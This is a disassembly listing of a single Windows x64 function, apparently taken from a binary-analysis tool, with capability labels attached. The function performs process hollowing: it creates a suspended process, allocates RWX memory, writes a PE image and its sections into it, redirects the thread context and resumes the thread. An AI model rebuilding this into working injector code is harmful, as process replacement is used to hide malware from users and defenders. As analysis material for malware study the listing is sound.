Function at 0x1400011b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1998
call fcn.140011490
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1980], rax
mov r8d, 0x208
lea rdx, [rsp + 0x560]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140001209
mov eax, 0xffffffff
jmp 0x14000161f
lea rax, [rsp + 0x770]
mov rdi, rax
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rsp + 0x560]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x60]
cmp word [rax + rcx*2], 0
jne 0x140001236
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
add rax, rax
lea rcx, [rsp + 0x770]
lea rdx, [rsp + 0x560]
mov rdi, rcx
mov rsi, rdx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov eax, 0x20
mov rcx, qword [rsp + 0x70]
mov word [rsp + rcx*2 + 0x770], ax
mov rax, qword [rsp + 0x70]
lea rax, [rsp + rax*2 + 0x772]
mov rdi, rax
mov rsi, qword [rsp + 0x19c8]
mov rcx, qword [rsp + 0x19d0]
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x19c0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x19c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp dword [rax], 0x4550
je 0x1400012f6
mov eax, 0xfffffffe
jmp 0x14000161f
mov rax, qword [rsp + 0x19b0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x19b8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x770]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140001356
mov eax, 0xfffffffd
jmp 0x14000161f
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rsp + 0xc0], 0x10000b
lea rdx, [rsp + 0x90]
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400013b3
mov edx, 0xfffffffc
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffc
jmp 0x14000161f
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 0x30]
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001413
mov edx, 0xfffffffb
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffb
jmp 0x14000161f
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x19c0]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001469
mov edx, 0xfffffffa
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffa
jmp 0x14000161f
mov qword [rsp + 0x68], 0
jmp 0x140001481
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp qword [rsp + 0x68], rax
jae 0x14000153c
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x19c0]
add rcx, rax
mov rax, rcx
imul rcx, qword [rsp + 0x68], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x19c0]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x78]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x58]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001537
mov edx, 0xfffffff9
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff9
jmp 0x14000161f
jmp 0x140001474
mov rax, qword [rsp + 0x118]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x58]
mov rdx, rax
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001594
mov edx, 0xfffffff8
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff8
jmp 0x14000161f
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x90]
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400015ea
mov edx, 0xfffffff7
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff7
jmp 0x14000161f
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x14000161d
mov edx, 0xfffffff6
mov rax, qword [rsp + 0x19b0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff6
jmp 0x14000161f
xor eax, eax
mov rcx, qword [rsp + 0x1980]
xor rcx, rsp
call fcn.140001730
add rsp, 0x1998
pop rdi
pop rsi
ret